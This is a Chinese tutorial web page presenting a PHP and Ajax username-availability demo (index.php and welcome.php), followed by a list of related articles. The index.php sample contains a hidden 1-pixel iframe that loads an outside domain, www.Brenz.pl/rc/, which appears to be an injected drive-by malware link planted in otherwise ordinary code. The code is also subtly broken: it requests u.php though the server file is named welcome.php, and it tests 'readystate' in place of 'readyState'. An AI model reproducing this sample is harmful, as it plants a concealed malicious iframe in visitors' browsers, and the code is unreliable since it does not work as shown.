PHP与Ajax相结合实现登录验证小Demo

 更新时间:2016年03月16日 09:56:45   作者:u014427391  
AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。接下来通过本文给大家分享PHP与Ajax相结合实现登录验证小Demo,对php ajax实现登录验证相关知识感兴趣的朋友一起学习吧

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php?userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html> 

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
?> 

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!

相关文章

  • 用php实现选择排序的解决方法

    用php实现选择排序的解决方法

    本篇文章介绍了,使用php实现选择排序的解决方法。需要的朋友参考下
    2013-05-05
  • PHP仿博客园 个人博客(2) 数据库增添改删

    PHP仿博客园 个人博客(2) 数据库增添改删

    先谢谢大家的鼓励与支持,这是第2篇了。也是这个博客系统最核心的东西。这个博客写完后,我会把它放在我的博客网站。这里也有我的一个简历
    2013-07-07
  • Django 标签筛选的实现代码(一对多、多对多)

    Django 标签筛选的实现代码(一对多、多对多)

    这篇文章主要介绍了Django 标签筛选的实现代码(一对多、多对多),本文给大家介绍的非常详细,具有一定的参考借鉴价值,需要的朋友可以参考下
    2018-09-09
  • Yii CGridView用法实例详解

    Yii CGridView用法实例详解

    这篇文章主要介绍了Yii CGridView用法,结合实例形式分析了CGridView的功能、用法与相关属性用法,具有一定参考借鉴价值,需要的朋友可以参考下
    2016-07-07
  • 一个简单的PHP验证码实现代码

    一个简单的PHP验证码实现代码

    为提高网站安全性,登陆采用验证码是必不可少的。一款简单精致的PHP验证码应运而生!此验证码简洁美观,源码简单,可以自定义修改样式,是一款不错的验证码。
    2014-05-05
  • php使HTML标签自动补全闭合函数代码

    php使HTML标签自动补全闭合函数代码

    这个网上找到的自动补全闭合函数还挺不错的,它可以根据你的html内容自己补全闭合,确保HTMl代码正确
    2012-10-10
  • php实现简单爬虫的开发

    php实现简单爬虫的开发

    本文给大家分享的是如何使用php开发简单的网页爬虫的思路以及代码,非常的简单,有需要的小伙伴可以参考下
    2016-03-03
  • Laravel中Facade的加载过程与原理详解

    Laravel中Facade的加载过程与原理详解

    Facade其实是一个容器中类的静态代理,他可以让你以静态的方式来调用存放在容器中任何对象的任何方法,下面这篇文章主要给大家介绍了关于Laravel中Facade的加载过程与原理的相关资料,需要的朋友可以参考下。
    2017-09-09
  • PHP中header函数的用法及其注意事项详解

    PHP中header函数的用法及其注意事项详解

    这篇文章主要介绍了PHP中header函数的用法及其注意事项 的相关资料,非常不错具有参考借鉴价值,需要的朋友可以参考下
    2016-06-06
  • PHP生成唯一ID之SnowFlake算法

    PHP生成唯一ID之SnowFlake算法

    snowflake算法是个啥?首先我来提出个问题,怎么在分布式系统中生成唯一性id并保持该id大致自增?在twitter中这是最重要的业务场景,于是twitter推出了一种snowflake算法。
    2016-12-12

最新评论